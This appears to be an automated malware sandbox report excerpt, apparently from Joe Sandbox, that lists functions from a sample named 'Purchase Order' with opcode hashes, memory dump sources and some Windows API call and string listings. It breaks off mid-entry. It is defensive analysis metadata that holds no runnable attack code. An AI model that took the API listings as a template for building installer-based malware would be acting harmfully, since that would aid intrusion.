Instruction ID: b67dabcc46613aa9b70e80a5eef8f0b9e5bf5e94db235004ea85fef633f9045f
Opcode Fuzzy Hash: bb7a24609c4a01651cd592b2c24bdd9abf61e0174c3a717d08bfb1ca13fe35ee
Instruction Fuzzy Hash: E1F0F672D002089F8B14DFA9D8809DFBFFAFF98360B00062AD505D7611EB305945CB91

Function 39CA9020 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c31b7a701bfa20ca331c0c45b39e9560ad02c94cfec8221911e274e0b66c793
Instruction ID: 2fc9f394b6e24c1f2c603f44950cf6931b86a6156dda1cd5594fb30fc43b3b63
Opcode Fuzzy Hash: 4c31b7a701bfa20ca331c0c45b39e9560ad02c94cfec8221911e274e0b66c793
Instruction Fuzzy Hash: 2901C9B8D00209EFDB44DFA9D9416AEFBF1FF48300F50816A9818A3350EB759A16DB91

Function 39AB4110 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a60600f3a0a352033736eca4d8a47ccc641fd4415f28abece061764719c651e
Instruction ID: eac10a86b36b8e4e27dd9d31f843819c0e385be1de1b48d7dd573b52ecff6a0c
Opcode Fuzzy Hash: 7a60600f3a0a352033736eca4d8a47ccc641fd4415f28abece061764719c651e
Instruction Fuzzy Hash: 72F03A353012059FC700DF59D888C5ABBEAFF88765B548169E909CB330CB71AC52CB40

Function 001128B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3247fdcdf1be117a6fa8fa5779c9a7f2ecf76b2f151bf2022e207f879c48bbe5
Instruction ID: 2d6707e3fd42b7d1f3103e89c27e73df1d19edefd0e9b4ef59037cf632b731a8
Opcode Fuzzy Hash: 3247fdcdf1be117a6fa8fa5779c9a7f2ecf76b2f151bf2022e207f879c48bbe5
Instruction Fuzzy Hash: 67D05B31D2022B97CB11E7A5DC044DFF738EED5265B504626D51837140FB703659C6E1

Function 001128AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9fb68d094d31675649b07d6254f40c74a21512cb2b5d50ac1378e148adc1705
Instruction ID: f813b44840623955f7091423728cf0b8d6c721a105d416384cf5fab6ff712d96
Opcode Fuzzy Hash: a9fb68d094d31675649b07d6254f40c74a21512cb2b5d50ac1378e148adc1705
Instruction Fuzzy Hash: 1ED05B35D6022BD6CB21EBA1EC100DDB334EED5265B548617D53837190EB34275EC6A1

Function 00119BB8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: d07d0420a0f5e8efa5593a08324df4b5053c913cc17ffe17fcb906d6d069460e
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 1BC0127320C1282AA22C504EBC41EE7BA8CD2C13B8A220137F96C8320098429C8011E9

Function 39AB41C0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39b1e3c5f379463b570b1849ab7bb515b6066213899e1f7815213638fdd9be58
Instruction ID: 0e4ef17bbe797697c045b1a24606935c67a4e486c731f157a1ad024daa5b29eb
Opcode Fuzzy Hash: 39b1e3c5f379463b570b1849ab7bb515b6066213899e1f7815213638fdd9be58
Instruction Fuzzy Hash: C9D0C7363142146B4B055E9D94048AE7F6EDBC97717048026F909D7310CE714D5397D5

Function 0011BC6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92859317bb0d0f3c529113ae272ffcaf5d3b1ca7a6cf95dbb0f3b23422a833fa
Instruction ID: dde5a54617666184b0828177350573c5de04c3b16e3344983b04e61c29484fb7
Opcode Fuzzy Hash: 92859317bb0d0f3c529113ae272ffcaf5d3b1ca7a6cf95dbb0f3b23422a833fa
Instruction Fuzzy Hash: A6D0677AB40018DFCB049F99EC408DDBB76FB98221B048516E925A3261C6319961DBA0

Function 00117410 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b039cab100b61ace154ccec6d80190979f86137f9b945032200beb53745075e
Instruction ID: ce916d75f118fb57dff1c8b8a077ee088cb622f4479da6342531e6d5c0551bac
Opcode Fuzzy Hash: 3b039cab100b61ace154ccec6d80190979f86137f9b945032200beb53745075e
Instruction Fuzzy Hash: 1BC012341883094FD589EF6EFD46B557B6EEB802047504931A1064757EEFBC594A86D0

Non-executed Functions

Function 004032BF Relevance: 79.1, APIs: 33, Strings: 12, Instructions: 357stringcomfileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032E4
GetVersion.KERNEL32 ref: 004032EA
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403313
#17.COMCTL32(00000007,00000009), ref: 00403335
OleInitialize.OLE32(00000000), ref: 0040333C
SHGetFileInfoA.SHELL32(0041ECF0,00000000,?,00000160,00000000), ref: 00403358
GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040336D
GetModuleHandleA.KERNEL32(00000000,00429000,00000000), ref: 00403380
CharNextA.USER32(00000000,00429000,00000020), ref: 004033AB
GetTempPathA.KERNEL32(00000400,0042A400,00000000,00000020), ref: 004034A8
GetWindowsDirectoryA.KERNEL32(0042A400,000003FB), ref: 004034B9
lstrcatA.KERNEL32(0042A400,\Temp), ref: 004034C5
GetTempPathA.KERNEL32(000003FC,0042A400,0042A400,\Temp), ref: 004034D9
lstrcatA.KERNEL32(0042A400,Low), ref: 004034E1
SetEnvironmentVariableA.KERNEL32(TEMP,0042A400,0042A400,Low), ref: 004034F2
SetEnvironmentVariableA.KERNEL32(TMP,0042A400), ref: 004034FA
DeleteFileA.KERNEL32(0042A000), ref: 0040350E

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

OleUninitialize.OLE32(?), ref: 004035BC
ExitProcess.KERNEL32 ref: 004035DD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004036FA
OpenProcessToken.ADVAPI32(00000000), ref: 00403701
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403719
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403738
ExitWindowsEx.USER32(00000002,80040002), ref: 0040375C
ExitProcess.KERNEL32 ref: 0040377F

Part of subcall function 004056ED: MessageBoxIndirectA.USER32(00409230), ref: 00405748

Strings

\Temp, xrefs: 004034BF
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D3
~nsu, xrefs: 004035E8
UXTHEME, xrefs: 00403307, 0040330C, 00403312
TMP, xrefs: 004034F5
.tmp, xrefs: 00403604
", xrefs: 004033D0
TEMP, xrefs: 004034ED
Error launching installer, xrefs: 00403574
NSIS Error, xrefs: 0040335E
SeShutdownPrivilege, xrefs: 00403713
Low, xrefs: 004034DB

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$.tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-3941163293
Opcode ID: e18221ddd9e48752b7ffbdf688241eb0e22038d92db6db9d705f5ccec6b49e04
Instruction ID: 987bc29005933e48b9d04248005189ae3273ffe916fb5a61461eda946c2e522c
Opcode Fuzzy Hash: e18221ddd9e48752b7ffbdf688241eb0e22038d92db6db9d705f5ccec6b49e04
Instruction Fuzzy Hash: FCC109706082816AE7216F259D49A2F3EACEF81706F44447FF481761E2CB7C9A05CB6E

Function 00404A8D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404AA5
GetDlgItem.USER32(?,00000408), ref: 00404AB0
GlobalAlloc.KERNEL32(00000040,?), ref: 00404AFA
LoadBitmapA.USER32(0000006E), ref: 00404B0D
SetWindowLongA.USER32(?,000000FC,00405084), ref: 00404B26
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404B3A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404B4C
SendMessageA.USER32(?,00001109,00000002), ref: 00404B62
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404B6E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404B80
DeleteObject.GDI32(00000000), ref: 00404B83
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404BAE
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404BBA
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C4F
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404C7A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404C8E
GetWindowLongA.USER32(?,000000F0), ref: 00404CBD
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404CCB
ShowWindow.USER32(?,00000005), ref: 00404CDC
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404DD9
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404E3E
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404E53
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404E77
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404E97
ImageList_Destroy.COMCTL32(?), ref: 00404EAC
GlobalFree.KERNEL32(?), ref: 00404EBC
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404F35
SendMessageA.USER32(?,00001102,?,?), ref: 00404FDE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404FED
InvalidateRect.USER32(?,00000000,00000001), ref: 0040500D
ShowWindow.USER32(?,00000000), ref: 0040505B
GetDlgItem.USER32(?,000003FE), ref: 00405066
ShowWindow.USER32(00000000), ref: 0040506D

Strings

, xrefs: 00405045
N, xrefs: 00404D17
M, xrefs: 00404C36

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: ba7290f4b2f558e76718ca09df7d9ac4a37db348ff9a84ef3540181398f9072b
Instruction ID: e0cc5522092fb32f5c2674b78011ac89e49f6c9f2dab24d514a8ff43177d9d20
Opcode Fuzzy Hash: ba7290f4b2f558e76718ca09df7d9ac4a37db348ff9a84ef3540181398f9072b
Instruction Fuzzy Hash: 1E025EB0900209AFEB209F94DC85AAE7BB5FB84315F10817AF611B62E1C7799D42DF58

Function 39D3F2C0 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

Lj@p, xrefs: 39D3F681
0o@p, xrefs: 39D3F40F
PH]q, xrefs: 39D3F7FA
PH]q, xrefs: 39D3F5F9
Lj@p, xrefs: 39D3F589
Lj@p, xrefs: 39D3F858
PH]q, xrefs: 39D3F7E6
PH]q, xrefs: 39D3F6F1
PH]q, xrefs: 39D3F60D
", xrefs: 39D3FA96
Lj@p, xrefs: 39D3F66B
PH]q, xrefs: 39D3F8F5
Lj@p, xrefs: 39D3F776
Lj@p, xrefs: 39D3F86E
Lj@p, xrefs: 39D3F760
PH]q, xrefs: 39D3F705
PH]q, xrefs: 39D3F8E1
Lj@p, xrefs: 39D3F573

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID: "$0o@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$Lj@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-1947560563
Opcode ID: 0558264cbeced34392f93dd8771484de3ea8d7b8a1da03d9d4edb2cb115f7ef0
Instruction ID: f714439526e3af1839672da05b0ee7c39d512fabbd509dc45fa1635e54ca5778
Opcode Fuzzy Hash: 0558264cbeced34392f93dd8771484de3ea8d7b8a1da03d9d4edb2cb115f7ef0
Instruction Fuzzy Hash: 3D32A074E01218CFEB58CF69C985B9DBBB2BF89300F1085A9D809AB361DB755E85CF50

Function 00405799 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,75923410,75922EE0,00000000), ref: 004057C2
lstrcatA.KERNEL32(00420D38,\*.*,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040580A
lstrcatA.KERNEL32(?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040582B
lstrlenA.KERNEL32(?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405831
FindFirstFileA.KERNEL32(00420D38,?,?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405842
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004058EF
FindClose.KERNEL32(00000000), ref: 00405900

Strings

8B, xrefs: 004057F2
\*.*, xrefs: 00405804

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 8B$\*.*
API String ID: 2035342205-1085368084
Opcode ID: ea9ce5b97ce8e4b443abb3ca9957b13dd705908b98673029f699f8bd1230974e
Instruction ID: 8d03ba635bdf6d692437a4f2007131f6bbb84493a6188974bf12e3b4770be62e
Opcode Fuzzy Hash: ea9ce5b97ce8e4b443abb3ca9957b13dd705908b98673029f699f8bd1230974e
Instruction Fuzzy Hash: 3E51AF71900A14EADF217B618C49BAF7AB8DF42724F14807BF850762D2D73C8992DE6D

Function 39D3F2B0 Relevance: 12.9, Strings: 10, Instructions: 367COMMON

Download Yara Rule

Strings

PH]q, xrefs: 39D3F60D
PH]q, xrefs: 39D3F6F1
", xrefs: 39D3FA96
0o@p, xrefs: 39D3F40F
PH]q, xrefs: 39D3F8F5
PH]q, xrefs: 39D3F7FA
PH]q, xrefs: 39D3F705
PH]q, xrefs: 39D3F5F9
PH]q, xrefs: 39D3F8E1
PH]q, xrefs: 39D3F7E6

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID: "$0o@p$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q$PH]q
API String ID: 0-455001714
Opcode ID: cf1176daa66be8e73c239d58ba7ae49f3aba70f33a1533a1c0556580e9ae5a13
Instruction ID: 87b8b12bc5c5b7b410a312efc8056d7813d0abff5469254983da5fadba81a142
Opcode Fuzzy Hash: cf1176daa66be8e73c239d58ba7ae49f3aba70f33a1533a1c0556580e9ae5a13
Instruction Fuzzy Hash: 5402B0B4E012188FEB58CF69C985BDDBBB2BF89300F1081A9D409AB365DB355E85CF50

Function 00406542 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction ID: 395035d2fa7d2bfd2a07fc8d885f942395c55dc3dc65efbd6096f39d55049081
Opcode Fuzzy Hash: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction Fuzzy Hash: 18F16671D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7385A96DF44

Function 0011F4D0 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5uq, xrefs: 0011F5EB

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: .5uq
API String ID: 0-910421107
Opcode ID: 7906c8ef2dca96c979f5533dc835e5a5edcc114acf835ae59923cd8d4cedf740
Instruction ID: ba5fc0353a7562219c0d6a37ce14a7444c4e8e30e0e2f7ae255733d78441052b
Opcode Fuzzy Hash: 7906c8ef2dca96c979f5533dc835e5a5edcc114acf835ae59923cd8d4cedf740
Instruction Fuzzy Hash: 72527C74A012298FDB68DF69C984BDDBBB2BF89300F1085E9D409A7255DB349EC2CF50

Function 39AB0040 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b00ba431ce47d6f60333c5479433d600866d9768c5f9c5a6c05c3d4b21a3409
Instruction ID: 816cea66f0bc1b3ed8d7609559165c5f9674ead598f7bb9e386bf822c3d04113
Opcode Fuzzy Hash: 0b00ba431ce47d6f60333c5479433d600866d9768c5f9c5a6c05c3d4b21a3409
Instruction Fuzzy Hash: 2A72B274E052298FDB65CF69C880BD9BBB6BF49300F5086E9D809AB355DB349E81DF40

Function 39D17ED0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e0dc7c87836be97c88e0b9fcea00a03fa251321bbc9e6c2cd0c60cbba950263
Instruction ID: 659726683c701a5b5750479c82caef1b04962ba4dc7e811154b63e505f22f9db
Opcode Fuzzy Hash: 0e0dc7c87836be97c88e0b9fcea00a03fa251321bbc9e6c2cd0c60cbba950263
Instruction Fuzzy Hash: 5AD1B274E00218CFDB54DFA5D985B9DBBB2BF89300F5081A9D808AB365DB399D86CF50

Function 39D1A9D8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34fd6d95a2fd5e2eff7d16788ddfb90daa89e4bbd6befa50ef4e3d52c243f96
Instruction ID: 3d0594b5040b581f7739bdc72061bcdf382c89f6cb8ce2475ac5ff9d198e8e37
Opcode Fuzzy Hash: b34fd6d95a2fd5e2eff7d16788ddfb90daa89e4bbd6befa50ef4e3d52c243f96
Instruction Fuzzy Hash: 1ED1A274E002188FDB54DFA5D981B9DBBB2BF89300F1081A9D808AB365DB359D86CF50

Function 39D1C1C0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a1ef74c8131bca9e6643d089c447fcf1836695e531caba72481c5cb1fbcefa
Instruction ID: f818a7b39450593dfadbb0100d15100fe70c478053597714c3014fdf64d942c2
Opcode Fuzzy Hash: 32a1ef74c8131bca9e6643d089c447fcf1836695e531caba72481c5cb1fbcefa
Instruction Fuzzy Hash: 0BD1B174E01218CFDB54DFA5D981B9DBBB2BF89300F5081A9D808AB365DB359E86CF50

Function 39D1ECC8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3951c6c418d3386660e0a7a0f7a9dede78d0d615feb0605c9879809396fd09a9
Instruction ID: c61ac2731452103c0b8e298ba1476c5f8594f77fdb966595bce6fb36885857c3
Opcode Fuzzy Hash: 3951c6c418d3386660e0a7a0f7a9dede78d0d615feb0605c9879809396fd09a9
Instruction Fuzzy Hash: FFD1A074E013188FDB54DFA5D985B9DBBB2BF89300F1081A9D808AB365DB359E86CF50

Function 39D191F0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fbbe4a3e6ec579eb76d52ff445bf6aee0f59916708b54dba7e591a87b261984
Instruction ID: 28fbb5c41e67e471555190c6cb4101563dd47a73277c36dcd3e76479d3182ef3
Opcode Fuzzy Hash: 4fbbe4a3e6ec579eb76d52ff445bf6aee0f59916708b54dba7e591a87b261984
Instruction Fuzzy Hash: 92D1B174E01218CFDB54DFA5D981B9DBBB2BF89300F1081A9D809AB365DB359E86CF50

Function 39D1BCF8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 736c2d9dfdc75260ed9495750ba01567e71fa53f6ae0e2d1e94c9d2c26864fda
Instruction ID: 1acb2d9734f0083f251721f98a5176e09bbca854d88ff5629b05b5a087bf1528
Opcode Fuzzy Hash: 736c2d9dfdc75260ed9495750ba01567e71fa53f6ae0e2d1e94c9d2c26864fda
Instruction Fuzzy Hash: 7CD1B174E00218CFDB54DFA5D995B9DBBB2BF89300F1081A9D808AB365DB399D86CF50

Function 39D1D4E0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae1aefe19d0fa31245d358d38080162715f259d2dd6a47d75477f95e9cd1585b
Instruction ID: 6a43e6f6b3dd405a8a4a82d9c19ef368eeec799833967a023a073a76a8e3e41a
Opcode Fuzzy Hash: ae1aefe19d0fa31245d358d38080162715f259d2dd6a47d75477f95e9cd1585b
Instruction Fuzzy Hash: FCD1B275E01218CFDB54DFA5D981B9DBBB2BF89300F1081A9D808AB365DB359D86CF50

Function 39D166E8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e588c7bc9307c156767009667f9d84d5fd749cd34cacaf6e5ec0e3d384e8e8c
Instruction ID: c6e695e5fd504eb68b2795bafd622d99bc8fec9534163ddc9d4c5ee794add52e
Opcode Fuzzy Hash: 6e588c7bc9307c156767009667f9d84d5fd749cd34cacaf6e5ec0e3d384e8e8c
Instruction Fuzzy Hash: FFD1C174E00218CFDB54DFA5D981B9DBBB2BF89300F5081A9D808AB365DB359E86CF50

Function 39D1F190 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d10000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf00dac1ef10c31df6acd5a1d4641cbd3f61a3d5e75f3df37fd6f0febdf0e7c
Instruction ID: a24840e8c28b784744f161802c04372323dc6135307fdaa595b8397452a92565
Opcode Fuzzy Hash: eaf00dac1ef10c31df6acd5a1d4641cbd3f61a3d5e75f3df37fd6f0febdf0e7c
Instruction Fuzzy Hash: 46D1A274E01218CFDB54DFA9D981B9DBBB2BF89300F5081A9D808AB365DB359D86CF50

Function 39D18398 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386945525.0000000039D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D10000, based on PE: false

